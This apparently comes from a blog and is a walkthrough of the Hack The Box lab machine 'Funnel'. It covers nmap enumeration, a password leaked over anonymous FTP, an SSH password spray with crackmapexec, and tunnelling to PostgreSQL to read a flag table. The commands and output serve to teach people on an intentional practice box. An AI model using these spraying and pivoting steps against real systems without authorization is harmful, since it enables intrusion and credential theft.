Funnel

Funnel is a very easy machine of Hack The Box. During the initial Nmap scan of the local host, open ports for FTP, SSH, and PostgreSQL were discovered. Accessing the FTP service provided a ‘password_policy.pdf’ file and an email file leaking user information. Using ‘crackmapexec,’ valid credentials were found, allowing SSH access to the machine as the ‘christine’ user. Forwarding the PostgreSQL instance to the local machine via SSH and accessing it allowed retrieval of the ‘flag’ table value from the ‘secrets’ database.

ENUMERATION

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0–9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.16.47
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Nov 28 14:31 mail_backup
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
5432/tcp open postgresql PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
| SMBProgNeg:
| SFATAL
| VFATAL
| C0A000
| Munsupported frontend protocol 65363.19778: server supports 3.0 to 3.0
| Fpostmaster.c
| L2188
|_ RProcessStartupPacket
1 service unrecognized despite returning data.
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

On the FTP service we can find a PDF file called: “password_policy.pdf” that leaks a password. There is also a file containing an email that leaks some users.

EXPLOITATION

Using crackmapexec i got a pair of valid credentials:

crackmapexec ssh 10.129.67.22 -u users.txt -p 'funnel123#!#'

SSH 10.129.67.22 22 10.129.67.22 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
SSH 10.129.67.22 22 10.129.67.22 [-] optimus:funnel123#!# Authentication failed.
SSH 10.129.67.22 22 10.129.67.22 [-] albert:funnel123#!# Authentication failed.
SSH 10.129.67.22 22 10.129.67.22 [-] root:funnel123#!# Authentication failed.
SSH 10.129.67.22 22 10.129.67.22 [-] andreas:funnel123#!# Authentication failed.
SSH 10.129.67.22 22 10.129.67.22 [+] christine:funnel123#!#

Get joseml’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Then just SSH into the machine:

ssh christine@10.129.67.22

The authenticity of host '10.129.67.22 (10.129.67.22)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.67.22' (ED25519) to the list of known hosts.
christine@10.129.67.22's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0–135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 15 Dec 2022 10:17:12 PM UTC
System load: 0.0
Usage of /: 63.0% of 4.78GB
Memory usage: 13%
Swap usage: 0%
Processes: 162
Users logged in: 0
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.129.67.22
IPv6 address for ens160: dead:beef::250:56ff:fe96:8837
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
christine@funnel:~$

ROOT

Using SSH i have forwarded the postgres instance to my local machine:

ssh -L 1234:localhost:5432 christine@{target_IP}

Then i have connected to it and retrieved the value of the flag table on the secrets database:

psql -l -h localhost -U christine

Password for user christine:
List of databases
Name | Owner | Encoding | Collate | Ctype | ICU Locale | Locale Provider | Access privileges
 - - - - - -+ - - - - - -+ - - - - - + - - - - - - + - - - - - - + - - - - - - + - - - - - - - - -+ - - - - - - - - - - - - -
christine | christine | UTF8 | en_US.utf8 | en_US.utf8 | | libc |
postgres | christine | UTF8 | en_US.utf8 | en_US.utf8 | | libc |
secrets | christine | UTF8 | en_US.utf8 | en_US.utf8 | | libc |
template0 | christine | UTF8 | en_US.utf8 | en_US.utf8 | | libc | =c/christine +
| | | | | | | christine=CTc/christine
template1 | christine | UTF8 | en_US.utf8 | en_US.utf8 | | libc | =c/christine +
| | | | | | | christine=CTc/christine
(5 rows)

psql -h localhost -U christine -d secrets

Password for user christine:
psql (15.1 (Debian 15.1–1))
Type "help" for help.
secrets-# \dt
List of relations
Schema | Name | Type | Owner
 - - - - + - - - + - - - -+ - - - - - -
public | flag | table | christine
(1 row)
^
secrets=# SELECT * FROM flag;
value
 - - - - - - - - - - - - - - - - - 
cf277664b1771217d7006acdea006db1
(1 row)
secrets=#

Congratulations! We have successfully completed this machine. Thank you for reading!